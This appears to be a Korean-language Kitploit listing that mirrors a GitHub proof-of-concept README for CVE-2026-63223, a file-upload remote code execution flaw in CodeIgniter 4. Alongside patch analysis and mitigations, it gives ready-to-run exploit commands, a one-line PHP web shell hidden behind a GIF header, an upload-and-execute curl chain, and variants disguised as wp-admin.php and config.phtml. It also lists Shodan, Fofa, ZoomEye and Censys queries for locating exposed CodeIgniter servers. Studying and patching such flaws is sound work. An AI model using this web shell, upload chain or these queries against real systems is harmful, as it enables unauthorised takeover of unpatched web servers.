Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/imbas007/cve-2026-63223-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubimbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in 파일 업로드 RCE (CVSS 9.8). 이미지 매직 바이트를 이용한 무제한 파일 업로드 우회를 통한 인증되지 않은 원격 코드 실행. v4.7.4에서 수정됨.

저장소 보기
121개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2026-63223 PoC — CodeIgniter 4 파일 업로드 RCE

CVSS 9.8 (치명적) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: 위험한 유형의 파일 무제한 업로드
수정 버전: CodeIgniter 4 v4.7.4
보안 권고: GHSA-mmj4-63m4-r6h5


취약점 요약

CodeIgniter 4의 is_image 및 mime_in 파일 업로드 검증 규칙은 콘텐츠 기반 MIME 유형(매직 바이트)만 검사하며, 클라이언트가 제공한 파일 이름 확장자는 검사하지 않습니다.

인증되지 않은 공격자는 PHP 웹셸 앞에 이미지 매직 바이트(GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…)를 추가하고 shell.php라는 이름으로 저장하면, 위험한 실행 가능 확장자를 유지하면서도 is_image 또는 mime_in 검증을 통과할 수 있습니다. 업로드된 파일이 웹에서 접근 가능한 디렉터리에 저장되면 공격자는 임의 원격 코드 실행을 달성합니다.

트리거 조건 (세 가지 모두 충족되어야 함)

  1. 앱이 독립적인 확장자 검사(ext_in) 없이 is_image 또는 mime_in을 사용하여 업로드를 검증함
  2. 업로드된 파일이 클라이언트가 제공한 파일 이름으로 저장됨(.php 확장자 유지)
  3. 업로드가 서버가 PHP를 실행하는 웹 접근 가능 디렉터리에 저장됨

패치 분석

v4.7.4의 수정은 두 개의 새로운 헬퍼 메서드를 추가하고 이를 검증 규칙에 연결합니다:

is_image — 수정 전 vs 수정 후

root@kitploit:~
// 수정 전 (취약) — MIME이 "image/"로 시작하는지만 검사
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// 수정 후 (패치됨) — 확장자가 이미지 유형인지도 검사
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← 신규
    return false;
}
return true;

mime_in — 수정 전 vs 수정 후

root@kitploit:~
// 수정 전 (취약) — MIME이 허용 목록에 있는지만 검사
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// 수정 후 (패치됨) — 확장자가 감지된 콘텐츠와 일치하는지도 검사
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← 신규
    return false;
}
return true;

새로운 헬퍼 메서드

root@kitploit:~
// 비어 있지 않은 클라이언트 확장자가 이미지 유형이 아닌 경우 거부
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// 클라이언트 확장자가 감지된 콘텐츠 유형과 일치하지 않는 경우 거부
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

핵심 포인트: 이 수정은 기존 Mimes::guessTypeFromExtension() 및 $file->guessExtension() 메서드에 위임하여 두 번째 검증 계층을 추가합니다. 확장자가 없는 업로드(예: JavaScript Blob 객체)는 여전히 허용됩니다.


PoC 구성 요소

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← 이 파일
├── Dockerfile                   ← 취약한 랩 설정
├── docker-compose.yml           ← 간편한 `docker compose up`
├── exploit/
│   └── exploit.py               ← Python 익스플로잇 스크립트
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← 취약한 컨트롤러
    ├── app/Config/Routes.php         ← 라우팅
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image 우회 폼
        ├── upload_form_doc.php       ← mime_in 우회 폼
        └── upload_form_safe.php      ← 안전(SAFE) 참조 폼

빠른 시작 — Docker 랩

root@kitploit:~
# 취약한 앱 빌드 및 시작
docker compose up -d

# 실행 중인지 확인
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# 브라우저에서 열기
open http://localhost:8080/upload/avatar

엔드포인트


익스플로잇

방법 1 — 대화형

root@kitploit:~
# 의존성 설치
pip install requests

# 단일 명령 실행
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# 대화형 셸
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# mime_in 벡터 사용 (허용 목록에 PDF가 있지만 PHP도 여전히 통과)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

방법 2 — 수동 (curl)

root@kitploit:~
# 페이로드 생성
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# file(1)에서 이미지로 인식되는지 확인
file evil.php
# → evil.php: GIF image data

# 취약한 is_image 엔드포인트에 업로드
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# 실행
curl http://localhost:8080/uploads/evil.php?c=id

방법 3 — 다양한 MIME 위장

root@kitploit:~
# JPEG 변형 (is_image도 통과)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG 변형 (is_image도 통과, .phtml 확장자)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

작동 원리

PHP $_FILES 슈퍼글로벌과 CodeIgniter의 UploadedFile 객체는 두 가지 별개의 정보를 담고 있습니다:

  1. type / getMimeType() — 파일의 매직 바이트(콘텐츠 기반)에서 파생되며, 브라우저가 멀티파트 업로드의 Content-Type 부분으로 전송합니다
  2. name / getClientName() — 확장자를 포함한 클라이언트의 원본 파일 이름

패치 이전에는 is_image와 mime_in이 #1만 검사했습니다. 공격자는 다음을 전송합니다:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image가 image/gif를 확인 → 통과
  • ✅ 파일이 shell.php로 저장됨 (클라이언트 이름 유지)
  • ✅ Apache/PHP-FPM이 uploads 디렉터리의 .php 파일을 실행 → RCE

패치 이후에는 확장자가 교차 검증됩니다:

  • ❌ hasInvalidImageClientExtension()이 .php를 확인 → 거부

탐지 및 헌팅

로그 / 포렌식 탐지

업로드 디렉터리에서 이미지 매직 바이트가 포함된 PHP/PHTML/PHP5 파일을 찾으십시오:

root@kitploit:~
# 이미지 헤더로 시작하는 PHP 파일 찾기
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# 또는 원시 바이트 확인
xxd uploads/*.php | head

Shodan 쿼리

root@kitploit:~
# CodeIgniter 4 기본 환영 페이지
http.title:"Welcome to CodeIgniter"

# CI4 디버그 툴바 (개발 모드에서 노출)
http.html:"debugbar_loader"

# CI4 기본 쿠키 / 세션 핑거프린트
http.component:"CodeIgniter"

# 파일 업로드 엔드포인트가 있는 CI4 기반 앱
http.title:"CodeIgniter" http.html:"upload"

# 광범위 검색 — 모든 CI4 인스턴스
"CodeIgniter" "X-Powered-By: PHP"

Fofa 쿼리

root@kitploit:~
# 기본 CodeIgniter 4 스캐폴드
body="CodeIgniter" && body="Welcome to"

# CI4 디버그 툴바 노출 (개발 모드 = 취약할 가능성 더 높음)
body="debugbar_loader" && body="kint-rich"

# CI4의 파일 업로드 폼
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# Set-Cookie의 CI4 세션 핑거프린트
header="ci_session"

# 광범위 CI4 탐지
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

수정 및 완화

  1. CodeIgniter 4 v4.7.4+로 업그레이드
  2. 임시 대응 (패치가 지연되는 경우): is_image/mime_in과 함께 ext_in 규칙 추가
  3. 심층 방어:
    • 업로드를 웹 루트 외부에 저장하고 readfile() 프록시를 통해 제공
    • 웹 서버 수준에서 업로드 디렉터리의 PHP 실행 비활성화:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • 클라이언트 이름을 유지하는 대신 서버가 제어하는 파일 이름 생성

참고 자료

  • GitHub 보안 권고 — GHSA-mmj4-63m4-r6h5
  • 수정 커밋 — b6e9a4f
  • 릴리스 v4.7.4
  • IONIX Threat Center 분석
  • NVD 항목

법적 고지

이 PoC는 교육 목적 및 승인된 보안 테스트 전용입니다. 해당 취약점은 책임 있는 공개 절차를 거쳐 패치되었습니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이를 사용하지 마십시오. 작성자는 오용에 대한 책임을 지지 않습니다.

도구 다운로드
엔드포인트취약 여부검증 규칙
/upload/avatar취약is_image만
/upload/document취약mime_in만
/upload/safe안전 (대조군)is_image + ext_in